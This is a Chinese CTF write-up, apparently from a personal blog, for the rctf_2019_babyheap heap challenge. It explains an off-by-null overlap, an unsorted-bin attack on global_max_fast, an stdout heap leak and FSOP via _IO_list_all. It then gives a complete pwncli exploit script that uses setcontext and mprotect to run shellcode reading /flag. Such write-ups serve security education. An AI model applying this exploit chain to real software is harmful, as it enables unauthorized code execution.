rctf_2019_babyheap

总结

禁用了fastbin,同时有off by null的漏洞。做出来后发现很多人的解是用的house of storm进行任意地址申请,覆盖__free_hook后,然后利用setcontext读取到的flag。我的方法却是利用的unsortedbin attack+fastbin attack,修改了global_max_fast的值之后,利用stdout泄露出堆地址,然后劫持_IO_list_all,用FSOP利用mprotect拿的flag。为啥不用house of storm,因为写起来麻烦,而我比较喜欢偷懒~

libc映射的空间上储存了堆地址和程序地址,如果能打stdout,那么想要啥地址基本都有。

题目分析

checksec

image-20210905232436496

保护全开,libc-2.23.so

seccomp

image-20210905232507909

函数分析

initial

image-20210905232544422

禁用了fastbin

add

image-20210905232650185

这里比较坑的是限制了size,否则直接unsortbin attack之后,都不需要泄露堆地址了。

其他函数没啥特殊的,漏洞放在下面分析。

漏洞点

一个off by null的漏洞

image-20210905231717339

利用思路

这里直接给利用思路:

  • 使用off by null制作三明治,然后泄露出libc地址
  • 使用stdout泄露出heap地址。当然,使用largebinsmallbin等也是可以的
  • unsorted bin attack修改global_max_fast
  • 利用fastbin attack劫持_IO_list_all
  • FSOP控制程序执行流

Exp

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
#!/usr/bin/python3
from pwncli import *

cli_script()

p:tube = gift['io']
elf:ELF = gift['elf']
libc: ELF = gift['libc']

def add(size:int):
    p.sendlineafter("Choice: \n", "1")
    p.sendlineafter("Size: ", str(size))


def edit(idx:int, data:(str, bytes)):
    p.sendlineafter("Choice: \n", "2")
    p.sendlineafter("Index: ", str(idx))
    p.sendafter("Content: ", data)


def delete(idx:int):
    p.sendlineafter("Choice: \n", "3")
    p.sendlineafter("Index: ", str(idx))


def show(idx:int):
    p.sendlineafter("Choice: \n", "4")
    p.sendlineafter("Index: ", str(idx))
    return p.recvline()


add(0x80) # 0
add(0x68) # 1
add(0xf0) # 2
add(0x800) # 3


delete(0)
edit(1, flat(["a" * 0x60, 0x100]))

delete(2)

add(0x80)
msg = show(1)
libc_base_addr = u64(msg[:-1].ljust(8, b"\x00")) - 0x3c4b78
libc.address = libc_base_addr

log_address("libc_base_addr", libc_base_addr)

delete(0)

add(0xf0)
add(0xf0)

delete(0)
add(0x80)

edit(1, flat([0, libc_base_addr + 0x3c67f8 - 0x10]))

add(0x60)

delete(1)

edit(4, p64(libc.sym["_IO_2_1_stdout_"] - 0x43))

add(0x60)

add(0x68) # 5

edit(5, flat("\x00" * 0x33, 0xfbad1887, 0, 0, 0, libc.sym['__curbrk'] - 8, libc.sym['__curbrk'] + 8))

msg = p.recvn(16)
heap_base_addr = u64(msg[8:]) - 0x21000
log_address("heap_base_addr", heap_base_addr)

delete(1)
edit(4, p64(libc.sym["_IO_list_all"] - 0x23))

add(0x60)
add(0x60)
edit(6, flat(["\x00" * 0x13, heap_base_addr+0x210]))

delete(3)
add(0x800) # 3

payload = flat({
    0x18:libc.sym['setcontext']+0x35,
    0x28:1,
    0xd8:heap_base_addr+0x210,
    0xa0:heap_base_addr+0x210+0x100,
    0xa8:libc.sym['mprotect'],
    0x100: heap_base_addr+0x180+0x210,
    0x68: heap_base_addr,
    0x70: 0x3000,
    0x88: 7,
    0x180:asm(shellcraft.cat("/flag"))
}, filler="\x00")

edit(3, payload)

p.sendlineafter("Choice: \n", "5")

p.interactive()

泄露libc

image-20210905234000302

泄露heap

image-20210905234039802

劫持_IO_list_all

image-20210905234134429

准备ROP读取flag

image-20210905234303701

远程打:

image-20210905234433315

引用与参考

1、My Blog

2、Ctf Wiki

3、pwncli

Buy me a coffee~
roderick 支付宝支付宝
roderick 微信微信
0%